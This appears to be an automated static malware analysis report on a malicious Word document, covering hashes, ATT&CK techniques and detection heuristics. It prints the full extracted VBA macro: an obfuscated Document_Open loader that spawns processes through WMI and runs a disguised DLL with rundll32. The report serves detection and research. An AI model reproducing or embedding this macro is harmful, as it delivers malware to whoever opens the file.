Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 7d21774b02cce4d4…

MALICIOUS

Office (OOXML)

456.7 KB Created: 2020-07-28 11:18:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-15
MD5: 7888a1c70bc711f34ac921d2c577d938 SHA-1: d87104523e524a60ada86c27283b480c1d56e48d SHA-256: 7d21774b02cce4d4dbfce43b369585bb1543c8c558c4349b8441c3e868230537
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 System Binary Proxy Execution: Rundll32

The sample contains a VBA macro that executes upon opening the document. This macro constructs a command to create a directory and then uses GetObject to execute 'cmd /C mkdi C:\AUGUST04'. It proceeds to save the document in multiple formats and then attempts to execute a DLL file using 'rundll32 C:\AUGUST04\Document_FAQ.DLL,StartW'. The use of GetObject and rundll32 indicates a high likelihood of a second-stage payload execution.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1782 bytes
SHA-256: f13fdaf60e0aad46ff357d3a5014d5139d2118270e61e25d7f983c5da51b0f02
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private strFile
Private CmdStr
Private NamePLD
Private processid
Private OLEWord
Private Result
Private K

Private Sub Document_Open()

strFile = "C:\AUGUST04"
NamePLD = strFile + "\Document_FAQ"
CmdStr = Chr$(99) & Chr$(109) & Chr$(100) & Chr$(32) & Chr$(47) & Chr$(67) & Chr$(32) & Chr$(109) & Chr$(107) & Chr$(100) & Chr$(105) & Chr$(114)

Set OLEWord = GetObject(Chr$(119) & Chr$(105) & Chr$(110) & Chr$(109) & Chr$(103) & Chr$(109) & Chr$(116) & Chr$(115) & Chr$(58) & Chr$(87) & Chr$(105) & Chr$(110) & Chr$(51) & Chr$(50) & Chr$(95) & Chr$(80) & Chr$(114) & Chr$(111) & Chr$(99) & Chr$(101) & Chr$(115) & Chr$(115))
Result = OLEWord.create(CmdStr + " " + strFile, Null, Null, processid)

For K = CLng(Chr$(48)) To 4652
Call DateAdd(Chr$(115), K, Now)
DoEvents
Next K

ActiveDocument.SaveAs FileName:=NamePLD & ".doc", FileFormat:=wdFormatText, AddToRecentFiles:=False
ActiveDocument.SaveAs FileName:=NamePLD & ".txt", FileFormat:=wdFormatText, AddToRecentFiles:=False
ActiveDocument.SaveAs FileName:=NamePLD & ".xls", FileFormat:=wdFormatText, AddToRecentFiles:=False

Result = OLEWord.create(ThisDocument.DefaultTargetFrame + NamePLD + ".doc " + NamePLD + ".DLL", Null, Null, processid)

For K = CLng(Chr$(48)) To 38056
Call DateAdd(Chr$(115), K, Now)
DoEvents
Next K

Result = OLEWord.create("rundll32 ntlanui.dll,ShareCreate", Null, Null, processid)

Result = OLEWord.create("rundll32 " + NamePLD & ".DLL,StartW", Null, Null, processid)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10752 bytes
SHA-256: d62626b34feebc67fcd7bbad337e77f51834932956133ab7191d028985a0974b

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